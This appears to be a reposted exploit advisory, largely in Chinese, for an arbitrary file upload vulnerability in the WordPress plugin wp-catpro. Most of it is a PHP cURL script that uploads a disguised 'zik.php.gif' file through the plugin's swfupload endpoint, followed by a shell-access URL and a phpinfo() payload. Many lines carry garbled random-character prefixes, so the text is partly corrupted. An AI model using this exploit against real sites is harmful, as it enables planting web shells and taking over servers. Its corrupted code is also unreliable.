WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
5 B1 }/ {8 m2 Z0 [$ N' O4 [9 r8 Y#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

#=> Exploit 信息:
------------------
3 r9 F+ ?4 L/ h1 z5 z4 r8 Z# 攻击者可以上传 file/shell.php.gif
6 W0 o6 E$ u- m- w* B3 z  m: D# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
! m# I( {4 @- O$ G------------------
, z: m9 X  f8 a3 X3 o  s0 m
#=> Exploit
-----------
; G, p" @2 B1 E6 Y9 ?4 v<?php

9 {9 w; y% f/ ^2 [$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
7 X1 w! d9 C( O9 h/ h'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
( b, y0 Y3 n! |- I! S$postResult = curl_exec($ch);
; g* ^$ H/ O1 ^, t& o, kcurl_close($ch);

print "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
& O0 n' A" O' L/ ?1 ]4 s, C- Z<?php
phpinfo();
- ]+ e2 o6 _0 w% L  q1 d5 q* l?>